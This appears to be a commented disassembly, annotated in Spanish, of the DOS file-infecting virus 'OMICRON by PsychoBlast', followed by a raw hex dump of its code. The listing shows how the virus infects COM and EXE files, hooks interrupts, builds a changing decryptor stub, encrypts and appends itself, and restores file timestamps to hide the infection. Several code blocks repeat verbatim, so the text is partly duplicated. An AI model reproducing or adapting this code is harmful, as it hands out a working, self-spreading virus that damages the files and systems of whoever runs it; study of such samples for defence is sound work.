2061:1295 8816CC00      MOV     [00CC],DL           ;Guardar su estado para poder
                                                    ;reponerla posteriormente.

2061:1299 B80133        MOV     AX,3301             ;Desactivar la se#al de ruptura.
2061:129C 33D2          XOR     DX,DX               ;
2061:129E E8DDFF        CALL    127E                ;

2061:12A1 B82435        MOV     AX,3524             ;Obtener vector de INT24
2061:12A4 E8D7FF        CALL    127E                ;y guardar para su restauraci"n
2061:12A7 891EDF00      MOV     [00DF],BX           ;posterior.
2061:12AB 8C06E100      MOV     [00E1],ES           ;

2061:12AF B82425        MOV     AX,2524             ;Poner vector de INT24
2061:12B2 BAE504        MOV     DX,04E5             ;
2061:12B5 E8C6FF        CALL    127E                ;
```

```
2061:12B8 1F            POP     DS
2061:12B9 5A            POP     DX
2061:12BA 52            PUSH    DX
2061:12BB 1E            PUSH    DS

2061:12BC B80043        MOV     AX,4300             ;Obtener los atributos del
2061:12BF E8BCFF        CALL    127E                ;fichero y guardarlos para su
2061:12C2 2E            CS:                         ;reposici"n posterior.
2061:12C3 890ECD00      MOV     [00CD],CX           ;

2061:12C7 B80143        MOV     AX,4301             ;Cambiar los atributos del
2061:12CA 33C9          XOR     CX,CX               ;fichero para un acceso total
2061:12CC E8AFFF        CALL    127E                ;
2061:12CF 727D          JB      134E                ;

2061:12D1 B8023D        MOV     AX,3D02             ;Abrir el fichero en modo de
2061:12D4 E8A7FF        CALL    127E                ;lectura escritura.
2061:12D7 726A          JB      1343                ;

2061:12D9 0E            PUSH    CS
2061:12DA 1F            POP     DS

2061:12DB A36108        MOV     [0861],AX           ;Guardar el handle del fichero

2061:12DE B80057        MOV     AX,5700             ;Obtener fecha y hora del fichero
2061:12E1 E895FF        CALL    1279                ;
2061:12E4 7246          JB      132C                ;
2061:12E6 8916CF00      MOV     [00CF],DX           ;Guardar fecha y hora
2061:12EA 890ED100      MOV     [00D1],CX           ;

2061:12EE BAB8FF        MOV     DX,FFB8             ;Poner el puntero del fichero
2061:12F1 B9FFFF        MOV     CX,FFFF             ;offset con signo al final del
2061:12F4 E876FF        CALL    126D                ;fichero, CX:DX valor negativo
2061:12F7 7233          JB      132C                ;se apunta 48H posiciones antes
                                                    ;del final del fichero.

2061:12F9 BA6908        MOV     DX,0869             ;Leer dos bytes del fichero
2061:12FC B90200        MOV     CX,0002             ;zona de recogida DS:15DC
2061:12FF E85DFF        CALL    125F                ;
2061:1302 7228          JB      132C                ;

2061:1304 813E69080EBB  CMP     WORD PTR [0869],BB0E
2061:130A 7420          JZ      132C

2061:130C E863FF        CALL    1272                ;Poner puntero al principio del
2061:130F 721B          JB      132C                ;fichero

2061:1311 BA6908        MOV     DX,0869             ;Leer los 1C primeros bytes
2061:1314 B91C00        MOV     CX,001C             ;
2061:1317 E845FF        CALL    125F                ;
2061:131A 7210          JB      132C                ;

2061:131C 813E69084D5A  CMP     WORD PTR [0869],5A4D ;¿Es un fichero de
2061:1322 7405          JZ      1329                ;programa tipo EXE?
```

```
2061:126D B80242        MOV     AX,4202
2061:1270 EB07          JMP     1279

2061:1272 33C9          XOR     CX,CX
2061:1274 33D2          XOR     DX,DX
2061:1276 B80042        MOV     AX,4200

2061:1279 2E            CS:
2061:127A 8B1E6108      MOV     BX,[0861]               ;Handle de fichero.

2061:127E FA            CLI
2061:127F 9C            PUSHF
2061:1280 2E            CS:
2061:1281 FF1E6308      CALL    FAR [0863]
2061:1285 C3            RET
```

```
;Procedimiento para el reconocimiento del tipo de fichero de programa
;que se solicito ejecutar
;-----------------+-------------------------------------------------------
2061:1286 53            PUSH    BX
2061:1287 51            PUSH    CX
2061:1288 56            PUSH    SI
2061:1289 57            PUSH    DI
2061:128A 06            PUSH    ES
2061:128B 52            PUSH    DX
2061:128C 1E            PUSH    DS

2061:128D 0E            PUSH    CS
2061:128E 1F            POP     DS

2061:128F B80033        MOV     AX,3300             ;Se encuentra activa la se$al de
2061:1292 E8E9FF        CALL    127E                ;ruptura (CTRL-C)?
2061:1295 8816CC00      MOV     [00CC],DL           ;Guardar su estado para poder
                                                    ;reponerla posteriormente.

2061:1299 B80133        MOV     AX,3301             ;Desactivar la se$al de ruptura.
2061:129C 33D2          XOR     DX,DX               ;
2061:129E E8DDFF        CALL    127E                ;

2061:12A1 B82435        MOV     AX,3524             ;Obtener vector de INT24
2061:12A4 E8D7FF        CALL    127E                ;y guardar para su restauraci"n
2061:12A7 891EDF00      MOV     [00DF],BX           ;posterior.
2061:12AB 8C06E100      MOV     [00E1],ES           ;

2061:12AF B82425        MOV     AX,2524             ;Poner vector de INT24
2061:12B2 BAE504        MOV     DX,04E5             ;
2061:12B5 E8C6FF        CALL    127E                ;
```

```
2061:1324 E84500        CALL    136C

2061:1327 EB03          JMP     132C

2061:1329 E8A000        CALL    13CC            ;Modificar la cabezera del
                                                ;fichero tipo EXE.

2061:132C B80157        MOV     AX,5701         ;Cambiar fecha y hora del fichero
2061:132F 8B16CF00      MOV     DX,[00CF]       ;
2061:1333 8B0ED100      MOV     CX,[00D1]       ;
2061:1337 E83FFF        CALL    1279            ;

2061:133A B43E          MOV     AH,3E           ;Cerrar el fichero
2061:133C E83AFF        CALL    1279            ;

2061:133F 1F            POP     DS
2061:1340 5A            POP     DX
2061:1341 52            PUSH    DX
2061:1342 1E            PUSH    DS

2061:1343 B80143        MOV     AX,4301         ;Definir atributos, con esto
2061:1346 2E            CS:                     ;se restauran los atributos
2061:1347 8B0ECD00      MOV     CX,[00CD]       ;originales.
2061:134B E830FF        CALL    127E            ;



2061:134E B82425        MOV     AX,2524         ;Restaurar el vector original
2061:1351 2E            CS:                     ;de INT24.
2061:1352 C516DF00      LDS     DX,[00DF]       ;
2061:1356 E825FF        CALL    127E            ;

2061:1359 B80133        MOV     AX,3301         ;Restaurar la situaci"n en que
2061:135C 2E            CS:                     ;estaba la se$al de ruptura
2061:135D 8A16CC00      MOV     DL,[00CC]       ;(CTRL-C)
2061:1361 E81AFF        CALL    127E            ;

2061:1364 1F            POP     DS
2061:1365 5A            POP     DX
2061:1366 07            POP     ES
2061:1367 5F            POP     DI
2061:1368 5E            POP     SI
2061:1369 59            POP     CX
2061:136A 5B            POP     BX
2061:136B C3            RET



;Procedimiento para el tratamiento de ficheros de programas no EXE
;-----------------------------------------------------------------------
2061:136C E8FAFE        CALL    1269            ;Colocar el puntero al final del
2061:136F 725A          JB      13CB            ;del fichero, de esta manera
                                                ;tendremos el tama$o de este
                                                ;en DX:AX.
```

```
2061:1371 0BD2          OR      DX,DX                   ;¿Es mayor de 64k?
2061:1373 7556          JNZ     13CB                    ;

2061:1375 3D46F6        CMP     AX,F646                 ;¿Hay suficiente sitio para
2061:1378 7351          JNB     13CB                    ;incrustar el virus?

2061:137A 8BF0          MOV     SI,AX                   ;Tamaño a SI.

2061:137C C606BE0000    MOV     BYTE PTR [00BE],00      ;Tipo COM.

2061:1381 C706C2000001  MOV     WORD PTR [00C2],0100    ;Punto de entrada.
2061:1387 C706C4000000  MOV     WORD PTR [00C4],0000

2061:138D C706C6000000  MOV     WORD PTR [00C6],0000    ;Pila

2061:1393 A16908        MOV     AX,[0869]               ;Guardar los tres primeros
2061:1396 A3BF00        MOV     [00BF],AX               ;bytes del fichero
2061:1399 A06B08        MOV     AL,[086B]               ;
2061:139C A2C100        MOV     [00C1],AL               ;

2061:139F FF066708      INC     WORD PTR [0867]

2061:13A3 56            PUSH    SI                      ;
2061:13A4 8BDE          MOV     BX,SI                   ;
2061:13A6 81C30001      ADD     BX,0100                 ;
2061:13AA E8E300        CALL    1490                    ;
2061:13AD 5E            POP     SI                      ;
2061:13AE 721B          JB      13CB                    ;

2061:13B0 E8BFFE        CALL    1272                    ;Puntero al principio
2061:13B3 7216          JB      13CB                    ;

2061:13B5 C6066908E9    MOV     BYTE PTR [0869],E9      ;Poner en los tres
2061:13BA 81C61E08      ADD     SI,081E                 ;primero bytes una
2061:13BE 89366A08      MOV     [086A],SI               ;instruccisn de salto
                                                        ;al punto de entrada
                                                        ;del csdigo del virus

2061:13C2 BA6908        MOV     DX,0869                 ;Escribir en el fichero los tres
2061:13C5 B90300        MOV     CX,0003                 ;primeros bytes antes mencionados
2061:13C8 E890FE        CALL    125B                    ;
2061:13CB C3            RET


;Procedimiento para leer y tratar la cabezera del fichero de un programa
;del tipo EXE
;-------------------------------------------------------------------------
2061:13CC E89AFE        CALL    1269                    ;Puntero al final del fichero
2061:13CF 72FA          JB      13CB                    ;

2061:13D1 8BF0          MOV     SI,AX                   ;DX:AX tamaño del fichero
2061:13D3 8BFA          MOV     DI,DX                   ;
2061:13D5 8BD8          MOV     BX,AX                   ;
2061:13D7 8BCA          MOV     CX,DX                   ;
```

```
2061:13D9 A16D08          MOV     AX,[086D]           ;En la cabezera, tama$o del fichero
                                                      ;indicado en nzmero de sectores de
                                                      ;tama$o 200H bytes

2061:13DC F726E500        MUL     WORD PTR [00E5]      ;Multiplicar por 200H para
                                                       ;convertir en bytes.

2061:13E0 2BC3            SUB     AX,BX               ;Restarle al tama$o indicado en la
2061:13E2 1BD1            SBB     DX,CX               ;cabezera el tama$o devuelto por
2061:13E4 72E5            JB      13CB                ;una llamada al sistema.Si hubiese
                                                      ;acarreo ello significa que el
                                                      ;tama$o indicado en la cabezera
                                                      ;es menor del real.

2061:13E6 A17708          MOV     AX,[0877]           ;
2061:13E9 F726E300        MUL     WORD PTR [00E3]     ;
2061:13ED 03067908        ADD     AX,[0879]           ;
2061:13F1 8BCA            MOV     CX,DX               ;
2061:13F3 8BD8            MOV     BX,AX               ;

2061:13F5 A17108          MOV     AX,[0871]           ;
2061:13F8 F726E300        MUL     WORD PTR [00E3]     ;
2061:13FC 2BF0            SUB     SI,AX               ;
2061:13FE 1BFA            SBB     DI,DX               ;


2061:1400 A17708          MOV     AX,[0877]           ;
2061:1403 051000          ADD     AX,0010             ;
2061:1406 A3C600          MOV     [00C6],AX           ;
2061:1409 8BC3            MOV     AX,BX               ;
2061:140B 8BD1            MOV     DX,CX               ;
2061:140D 2BDE            SUB     BX,SI               ;
2061:140F 1BCF            SBB     CX,DI               ;
2061:1411 7216            JB      1429                ;

2061:1413 56              PUSH    SI                  ;Guardar en la pila el tama$o del
2061:1414 57              PUSH    DI                  ;programa.

2061:1415 83C650          ADD     SI,+50              ;A$adir al tama$o del programa
2061:1418 83D700          ADC     DI,+00              ;50H bytes.

2061:141B 2BC6            SUB     AX,SI               ;Restarle al puntero de la cima
2061:141D 1BD7            SBB     DX,DI               ;de la pila el tama$o del progra-
                                                      ;ma incrementado en 50H bytes.
2061:141F 5F              POP     DI
2061:1420 5E              POP     SI
2061:1421 726C            JB      148F

2061:1423 810677088700    ADD     WORD PTR [0877],0087
2061:1429 C606BE0001      MOV     BYTE PTR [00BE],01  ;Tipo EXE.

2061:142E A17F08          MOV     AX,[087F]           ;Valor de CS del punto de entrada
                                                      ;relativo al comienzo del c"digo
                                                      ;del programa.
```

```
2061:1431 051000      ADD     AX,0010           ;Punto de entrada al programa
2061:1434 A3C400      MOV     [00C4],AX         ;tipo EXE, para darle el control
2061:1437 A17D08      MOV     AX,[087D]         ;una vez el virus ha hecho sus
2061:143A A3C200      MOV     [00C2],AX         ;tareas preliminares al poner
                                                ;en ejecucisn un programa infectado

2061:143D FF066708    INC     WORD PTR [0867]   ;Valor de IP del punto de
                                                ;entrada.

2061:1441 E825FE      CALL    1269              ;Puntero al final del fichero
2061:1444 7249        JB      148F              ;

2061:1446 8BD8        MOV     BX,AX
2061:1448 8BCA        MOV     CX,DX
2061:144A 81C36908    ADD     BX,0869
2061:144E 83D100      ADC     CX,+00

2061:1451 8BD7        MOV     DX,DI             ;Dividir el tama$o del csdigo
2061:1453 8BC6        MOV     AX,SI             ;del programa entre 10H, de
2061:1455 F736E300    DIV     WORD PTR [00E3]   ;esta manera se calcula el n:
                                                ;de parrafos para hallar el
                                                ;nuevo valor segmento del
                                                ;punto de entrada.

2061:1459 A37F08      MOV     [087F],AX


2061:145C 53          PUSH    BX                ;
2061:145D 51          PUSH    CX                ;
2061:145E 52          PUSH    DX                ;
2061:145F 8BDA        MOV     BX,DX             ;
2061:1461 E82C00      CALL    1490              ;
2061:1464 5A          POP     DX                ;
2061:1465 59          POP     CX                ;
2061:1466 5B          POP     BX                ;
2061:1467 7226        JB      148F              ;

2061:1469 81C22108    ADD     DX,0821           ;A$adirle al resto de la divisisn
                                                ;el offset del punto de entrada
                                                ;al virus.

2061:146D 89167D08    MOV     [087D],DX         ;Nuevo valor de IP calculado y
                                                ;guardado en la nueva cabezera

2061:1471 8BC3        MOV     AX,BX             ;Convertir el nuevo tama$o
2061:1473 8BD1        MOV     DX,CX             ;del fichero en n: de secto-
2061:1475 F736E500    DIV     WORD PTR [00E5]   ;res de tama$o 200H bytes.
2061:1479 40          INC     AX

2061:147A A36D08      MOV     [086D],AX         ;Guardar nuevo tama$o del fichero
2061:147D 89166B08    MOV     [086B],DX         ;en la nueva cabezera.

2061:1481 E8EEFD      CALL    1272              ;Puntero al principio del fichero
2061:1484 7209        JB      148F              ;
```

```
2061:1486 B91C00        MOV     CX,001C                 ;Modificar la cabezera del
2061:1489 BA6908        MOV     DX,0869                 ;fichero EXE
2061:148C E8CCFD        CALL    125B                    ;
2061:148F C3            RET


;-------------------------------------------------------------------------
2061:1490 32E4          XOR     AH,AH                   ;Obetener un n#mero aleatorio en
2061:1492 CD1A          INT     1A                      ;AX basandose en la hora del
2061:1494 8BC2          MOV     AX,DX                   ;sistema.
2061:1496 03C1          ADD     AX,CX                   ;

2061:1498 1E            PUSH    DS
2061:1499 07            POP     ES

2061:149A BF2108        MOV     DI,0821                 ;
2061:149D 8BF7          MOV     SI,DI                   ;
2061:149F B92000        MOV     CX,0020                 ;
2061:14A2 FC            CLD                             ;
2061:14A3 F3            REPZ                            ;
2061:14A4 AB            STOSW                           ;

                      ;Generar el codigo del punto de entrada al virus
2061:14A5 FA            CLI
2061:14A6 C6040E        MOV     BYTE PTR [SI],0E        ;Crear la instrucci"n PUSH CS

2061:14A9 46            INC     SI                      ;Crear MOV BX,XXXX
2061:14AA C604BB        MOV     BYTE PTR [SI],BB        ;
2061:14AD 46            INC     SI                      ;
2061:14AE 2B1EE700      SUB     BX,[00E7]               ;
2061:14B2 891C          MOV     [SI],BX                 ;

2061:14B4 46            INC     SI                      ;Crear POP DS
2061:14B5 46            INC     SI                      ;
2061:14B6 C6041F        MOV     BYTE PTR [SI],1F        ;

2061:14B9 46            INC     SI                      ;Crear MOV CX,XXXX
2061:14BA C604B9        MOV     BYTE PTR [SI],B9        ;
2061:14BD 46            INC     SI                      ;
2061:14BE B82108        MOV     AX,0821                 ;
2061:14C1 2BC2          SUB     AX,DX                   ;
2061:14C3 8904          MOV     [SI],AX                 ;

2061:14C5 46            INC     SI                      ;Crear MOV DL,X
2061:14C6 46            INC     SI                      ;
2061:14C7 B0B2          MOV     AL,B2                   ;
2061:14C9 8A26E700      MOV     AH,[00E7]               ;
2061:14CD 32E6          XOR     AH,DH                   ;
2061:14CF 8904          MOV     [SI],AX                 ;
```

```
2061:1486 B91C00        MOV     CX,001C                 ;Modificar la cabezera del
2061:1489 BA6908        MOV     DX,0869                 ;fichero EXE
2061:148C E8CCFD        CALL    125B                    ;
2061:148F C3            RET


;-------------------------------------------------------------------------
2061:1490 32E4          XOR     AH,AH                   ;Obetener un n#mero aleatorio en
2061:1492 CD1A          INT     1A                      ;AX basandose en la hora del
2061:1494 8BC2          MOV     AX,DX                   ;sistema.
2061:1496 03C1          ADD     AX,CX                   ;

2061:1498 1E            PUSH    DS
2061:1499 07            POP     ES

2061:149A BF2108        MOV     DI,0821                 ;
2061:149D 8BF7          MOV     SI,DI                   ;
2061:149F B92000        MOV     CX,0020                 ;
2061:14A2 FC            CLD                             ;
2061:14A3 F3            REPZ                            ;
2061:14A4 AB            STOSW                           ;

                        ;Generar el codigo del punto de entrada al virus
2061:14A5 FA            CLI
2061:14A6 C6040E        MOV     BYTE PTR [SI],0E        ;Crear la instrucci"n PUSH CS

2061:14A9 46            INC     SI                      ;Crear MOV BX,XXXX
2061:14AA C604BB        MOV     BYTE PTR [SI],BB        ;
2061:14AD 46            INC     SI                      ;
2061:14AE 2B1EE700      SUB     BX,[00E7]               ;
2061:14B2 891C          MOV     [SI],BX                 ;

2061:14B4 46            INC     SI                      ;Crear POP DS
2061:14B5 46            INC     SI                      ;
2061:14B6 C6041F        MOV     BYTE PTR [SI],1F        ;

2061:14B9 46            INC     SI                      ;Crear MOV CX,XXXX
2061:14BA C604B9        MOV     BYTE PTR [SI],B9        ;
2061:14BD 46            INC     SI                      ;
2061:14BE B82108        MOV     AX,0821                 ;
2061:14C1 2BC2          SUB     AX,DX                   ;
2061:14C3 8904          MOV     [SI],AX                 ;

2061:14C5 46            INC     SI                      ;Crear MOV DL,X
2061:14C6 46            INC     SI                      ;
2061:14C7 B0B2          MOV     AL,B2                   ;
2061:14C9 8A26E700      MOV     AH,[00E7]               ;
2061:14CD 32E6          XOR     AH,DH                   ;
2061:14CF 8904          MOV     [SI],AX                 ;
```

```
2061:1486 B91C00        MOV     CX,001C                 ;Modificar la cabezera del
2061:1489 BA6908        MOV     DX,0869                 ;fichero EXE
2061:148C E8CCFD        CALL    125B                    ;
2061:148F C3            RET


;-------------------------------------------------------------------------
2061:1490 32E4          XOR     AH,AH                   ;Obetener un n#mero aleatorio en
2061:1492 CD1A          INT     1A                      ;AX basandose en la hora del
2061:1494 8BC2          MOV     AX,DX                   ;sistema.
2061:1496 03C1          ADD     AX,CX                   ;

2061:1498 1E            PUSH    DS
2061:1499 07            POP     ES

2061:149A BF2108        MOV     DI,0821                 ;
2061:149D 8BF7          MOV     SI,DI                   ;
2061:149F B92000        MOV     CX,0020                 ;
2061:14A2 FC            CLD                             ;
2061:14A3 F3            REPZ                            ;
2061:14A4 AB            STOSW                           ;

                        ;Generar el codigo del punto de entrada al virus
2061:14A5 FA            CLI
2061:14A6 C6040E        MOV     BYTE PTR [SI],0E        ;Crear la instrucci"n PUSH CS

2061:14A9 46            INC     SI                      ;Crear MOV BX,XXXX
2061:14AA C604BB        MOV     BYTE PTR [SI],BB        ;
2061:14AD 46            INC     SI                      ;
2061:14AE 2B1EE700      SUB     BX,[00E7]               ;
2061:14B2 891C          MOV     [SI],BX                 ;

2061:14B4 46            INC     SI                      ;Crear POP DS
2061:14B5 46            INC     SI                      ;
2061:14B6 C6041F        MOV     BYTE PTR [SI],1F        ;

2061:14B9 46            INC     SI                      ;Crear MOV CX,XXXX
2061:14BA C604B9        MOV     BYTE PTR [SI],B9        ;
2061:14BD 46            INC     SI                      ;
2061:14BE B82108        MOV     AX,0821                 ;
2061:14C1 2BC2          SUB     AX,DX                   ;
2061:14C3 8904          MOV     [SI],AX                 ;

2061:14C5 46            INC     SI                      ;Crear MOV DL,X
2061:14C6 46            INC     SI                      ;
2061:14C7 B0B2          MOV     AL,B2                   ;
2061:14C9 8A26E700      MOV     AH,[00E7]               ;
2061:14CD 32E6          XOR     AH,DH                   ;
2061:14CF 8904          MOV     [SI],AX                 ;
```

```
2061:14D1 46          INC     SI                  ;Crear ADD CX,XXXX
2061:14D2 46          INC     SI                  ;
2061:14D3 C70481C1    MOV     WORD PTR [SI],C181  ;
2061:14D7 46          INC     SI                  ;
2061:14D8 46          INC     SI                  ;
2061:14D9 8914        MOV     [SI],DX             ;

2061:14DB 46          INC     SI                  ;Crear JMP 15AE
2061:14DC 46          INC     SI                  ;
2061:14DD 83E20F      AND     DX,+0F              ;
2061:14E0 C604EB      MOV     BYTE PTR [SI],EB    ;
2061:14E3 46          INC     SI                  ;
2061:14E4 8814        MOV     [SI],DL             ;

2061:14E6 46          INC     SI                  ;Crear ADD [BX+XXXX],DL
2061:14E7 03F2        ADD     SI,DX               ;
2061:14E9 8BDE        MOV     BX,SI               ;
2061:14EB C7040097    MOV     WORD PTR [SI],9700  ;
2061:14EF 46          INC     SI                  ;
2061:14F0 46          INC     SI                  ;
2061:14F1 A1E700      MOV     AX,[00E7]           ;
2061:14F4 8904        MOV     [SI],AX             ;

2061:14F6 46          INC     SI                  ;Crear INC BX
2061:14F7 46          INC     SI                  ;
2061:14F8 C60443      MOV     BYTE PTR [SI],43    ;

2061:14FB 46          INC     SI                  ;Crear JMP 15BD
2061:14FC C604EB      MOV     BYTE PTR [SI],EB    ;
2061:14FF 46          INC     SI                  ;
2061:1500 8B166708    MOV     DX,[0867]           ;
2061:1504 83E20F      AND     DX,+0F              ;
2061:1507 8814        MOV     [SI],DL             ;

2061:1509 46          INC     SI                  ;Crear LOOP 15AE
2061:150A 03F2        ADD     SI,DX               ;
2061:150C C604E2      MOV     BYTE PTR [SI],E2    ;
2061:150F 2BDE        SUB     BX,SI               ;
2061:1511 83EB02      SUB     BX,+02              ;
2061:1514 46          INC     SI                  ;
2061:1515 881C        MOV     [SI],BL             ;

2061:1517 46          INC     SI                  ;Crear JMP 0E83
2061:1518 C604E9      MOV     BYTE PTR [SI],E9    ;
2061:151B BF1001      MOV     DI,0110             ;
2061:151E 2BFE        SUB     DI,SI               ;
2061:1520 83EF03      SUB     DI,+03              ;
2061:1523 46          INC     SI                  ;
2061:1524 893C        MOV     [SI],DI             ;

2061:1526 FB          STI
                      ;Fin de la generacisn del c'digo del punto de entrada
                      ;al virus
```

```
2061:1527 BEEA07        MOV     SI,07EA             ;Copiar el procedimiento para la
2061:152A BF8508        MOV     DI,0885             ;encriptacisn del codigo del
2061:152D 57            PUSH    DI                  ;csdigo del virus en una posicisn
2061:152E B93700        MOV     CX,0037             ;de memoria situada mas alla del
2061:1531 FC            CLD                         ;csdigo del virus para poder
2061:1532 F3            REPZ                        ;ejecutarlo y encriptar el csdigo
2061:1533 A4            MOVSB                       ;del virus.La direccion donde se
                                                    ;ha copiado se guarda en la pila
                                                    ;con el fin de poder ser llamado
                                                    ;posteriormente.

2061:1534 B81C35        MOV     AX,351C             ;Obtener el vector de INT1C
2061:1537 E844FD        CALL    127E                ;
2061:153A 891ED700      MOV     [00D7],BX           ;
2061:153E 8C06D900      MOV     [00D9],ES           ;

2061:1542 B81C25        MOV     AX,251C             ;
2061:1545 BABB08        MOV     DX,08BB             ;
2061:1548 E833FD        CALL    127E                ;

2061:154B 58            POP     AX                  ;Llamar al codigo de encriptacisn
2061:154C FFD0          CALL    AX                  ;y adosar el virus al final del
                                                    ;fichero.




2061:154E 9C            PUSHF                       ;Restaurar el vector de INT1C.
2061:154F 1E            PUSH    DS                  ;
2061:1550 B81C25        MOV     AX,251C             ;
2061:1553 C516D700      LDS     DX,[00D7]           ;
2061:1557 E824FD        CALL    127E                ;
2061:155A 1F            POP     DS                  ;
2061:155B 9D            POPF                        ;
2061:155C C3            RET


;Procedimiento para la encriptacisn del csdigo del virus y adosarlo
;al final del fichero.
;-------------------------------------------------------------------------
2061:155D BE0000        MOV     SI,0000             ;Encriptar el c"digo viral
2061:1560 B92108        MOV     CX,0821             ;
2061:1563 8A162A08      MOV     DL,[082A]           ;
2061:1567 2814          SUB     [SI],DL             ;
2061:1569 46            INC     SI                  ;
2061:156A E2FB          LOOP    1567                ;

2061:156C B440          MOV     AH,40               ;Escritura en fichero del c"digo
2061:156E 8B1E6108      MOV     BX,[0861]           ;viral.
2061:1572 BA0000        MOV     DX,0000             ;
2061:1575 B96908        MOV     CX,0869             ;
2061:1578 9C            PUSHF                       ;
2061:1579 FF1E6308      CALL    FAR [0863]          ;
2061:157D 7202          JB      1581                ;
```

```
2061:157F 2BC1          SUB     AX,CX
2061:1581 9C            PUSHF

2061:1582 BE0000        MOV     SI,0000             ;Desencriptar el c"digo viral
2061:1585 B92108        MOV     CX,0821             ;
2061:1588 8A162A08      MOV     DL,[082A]           ;
2061:158C 0014          ADD     [SI],DL             ;
2061:158E 46            INC     SI                  ;
2061:158F E2FB          LOOP    158C                ;

2061:1591 9D            POPF
2061:1592 C3            RET
2061:1593 CF            IRET


;Punto de entrada para la ejecucisn del csdigo del virus
;-------------------------------------------------------------------------
206E:1594 0E            PUSH    CS                  ;Desencriptar el c"digo del
206E:1595 BBBA3F        MOV     BX,3FBA             ;virus
206E:1598 1F            POP     DS                  ;
206E:1599 B9477D        MOV     CX,7D47             ;
206E:159C B233          MOV     DL,33               ;
206E:159E 81C1DA8A      ADD     CX,8ADA             ;
206E:15A2 EB0A          JMP     15AE                ;
206E:15A4 EB8A          JMP     1530                ;
206E:15A6 EB8A          JMP     1532                ;
206E:15A8 EB8A          JMP     1534                ;
206E:15AA EB8A          JMP     1536                ;
206E:15AC EB8A          JMP     1538                ;
206E:15AE 0097B9CD      ADD     [BX+CDB9],DL        ;
206E:15B2 43            INC     BX                  ;
206E:15B3 EB08          JMP     15BD

206E:15B5 8AEB          MOV     CH,BL
206E:15B7 8AEB          MOV     CH,BL
206E:15B9 8AEB          MOV     CH,BL
206E:15BB 8AEB          MOV     CH,BL
206E:15BD E2EF          LOOP    15AE
206E:15BF E9C1F8        JMP     0E83
206E:15C2 EB8A          JMP     154E
206E:15C4 EB8A          JMP     1550
206E:15C6 EB8A          JMP     1552
206E:15C8 EB8A          JMP     1554
206E:15CA EB8A          JMP     1556
206E:15CC EB8A          JMP     1558
206E:15CE EB8A          JMP     155A
206E:15D0 EB8A          JMP     155C
206E:15D2 EB8A          JMP     155E
```

```
2061:0D70  0A CD 27 FA 33 C0 8E D0-BC 00 7C FB B8 03 00 E8   ..'.3.....|.....
2061:0D80  1F 00 06 B8 42 00 50 B8-C0 07 8E D8 B8 05 02 8B   ....B.P.........
2061:0D90  0E 2A 00 41 8B 16 2C 00-CD 13 CB 01 FE 8C 65 80   .*.A..,.......e.
2061:0DA0  05 33 DB 33 FF 8E C3 26-29 06 13 04 CD 12 B1 06   .3.3...&).......
2061:0DB0  03 E0 8E C0 C3 8E 1E 33-C0 8E C0 88 00 7C 50 53   .......3.....|PS
2061:0DC0  B8 01 02 8B 0E 2A 00 8B-16 2C 00 CD 13 A1 67 08   .....*...,....g.
2061:0DD0  48 3D 0C 00 76 25 B8 00-12 BB 10 FF CD 10 0A FF   H=..v%..........
2061:0DE0  75 19 B4 04 CD 1A 80 FA-02 75 10 B8 04 00 E8 B0   u........u......
2061:0DF0  FF E8 74 01 C6 06 E9 00-00 EB 05 C6 06 E9 00 01   ..t.............
2061:0E00  FA 33 C0 8E C0 26 C4 1E-70 00 89 1E D7 00 8C 06   .3...&..p.......
2061:0E10  D9 00 8E C0 26 C4 1E 84-00 89 1E 63 08 8C 06 65   ....&......c...e
2061:0E20  08 8E C0 26 C7 06 70 00-98 03 26 8C 1E 72 00 FB   ...&..p...&..r..
2061:0E30  CB 00 E9 2F 0B 00 01 00-00 00 00 33 08 7C 0D 00   .../.......3.|..
2061:0E40  21 00 BC 0C 00 60 00 00-00 00 4D FF 00 F0 6C 14   !....`....M...l.
2061:0E50  75 02 56 05 7C 0D 10 00-00 02 B9 CD 01 00 00 0E   u.V.|...........
2061:0E60  00 00 01 00 00 1C 00 00-00 19 02 03 FF 4F 4D 49   .............OMI
2061:0E70  43 52 4F 4E 20 62 79 20-50 73 79 63 68 6F 42 6C   CRON by PsychoBl
2061:0E80  61 73 74 E8 00 00 5E 81-EE 13 01 56 50 06 0E 1F   ast...^....VP...
2061:0E90  8C C0 01 84 C4 00 01 84-C6 00 80 BC BE 00 00 75   ...............u
2061:0EA0  0E 8B 84 BF 00 A3 00 01-8A 84 C1 00 A2 02 01 B8   ................
2061:0EB0  01 FE CD 21 3D FE 01 74-47 80 BC BE 00 00 75 05   ...!=..tG.....u.
2061:0EC0  83 FC F0 72 3B 8C C0 48-8E C0 26 80 3E 00 00 5A   ...r;..H..&.>..Z
2061:0ED0  75 2E 26 A1 03 00 2D A7-00 72 25 26 A3 03 00 26   u.&...-..r%&...&
2061:0EE0  81 2E 12 00 A7 00 26 8E-06 12 00 33 FF B9 69 08   ......&....3..i.
2061:0EF0  FC F3 A4 06 1F C6 06 E9-00 01 E8 BC 00 E8 84 01   ................
2061:0F00  07 58 06 1F 5E 2E 8E 94-C6 00 2E FF AC C2 00 50   .X..^..........P
2061:0F10  51 52 B4 02 CD 1A 80 FD-10 75 49 53 06 1E 0E 1F   QR.......uIS....
2061:0F20  C6 06 E9 00 01 B8 10 35-CD 21 89 1E D3 00 8C 06   .......5.!......
2061:0F30  D5 00 B8 10 25 BA E7 03-CD 21 B4 03 32 FF CD 10   ....%....!..2...
2061:0F40  33 C0 8E C0 8C C9 81 E9-00 01 26 A3 A8 04 26 89   3.........&...&.
2061:0F50  0E AA 04 26 A0 49 04 04-80 32 E4 CD 10 B4 02 CD   ...&.I...2......
2061:0F60  10 1F 07 5B 5A 59 58 C3-1E 33 C0 8E D8 C5 36 A8   ...[ZYX..3....6.
2061:0F70  04 B9 1C 00 FC F3 A4 26-C7 06 08 00 EC 00 26 8C   .......&......&.
2061:0F80  0E 0A 00 2E 8C 06 F4 00-06 B8 30 11 B7 02 CD 10   ..........0.....
2061:0F90  06 1F 8B F5 07 BA 00 01-B9 0E 00 83 C7 0D AC 32   ...............2
2061:0FA0  E4 B3 08 D0 E8 D0 D4 FE-CB 75 F8 26 88 25 4F E2   .........u.&.%O.
2061:0FB0  ED 83 C7 0F 4A 75 E1 1F-C3 B8 13 35 CD 21 89 1E   ....Ju.....5.!..
2061:0FC0  63 08 8C 06 65 08 C7 06-7D 03 00 01 B8 01 02 BB   c...e...}.......
2061:0FD0  69 08 B9 01 00 BA 80 00-1E 07 E8 D0 00 81 BF 28   i..............(
2061:0FE0  00 01 FE 74 1A 81 C3 BE-01 B1 04 8A 47 04 3C 04   ...t........G.<.
2061:0FF0  74 10 3C 06 74 0C 3C 01-74 08 83 C3 10 E2 EC E9   t.<.t.<.t.......
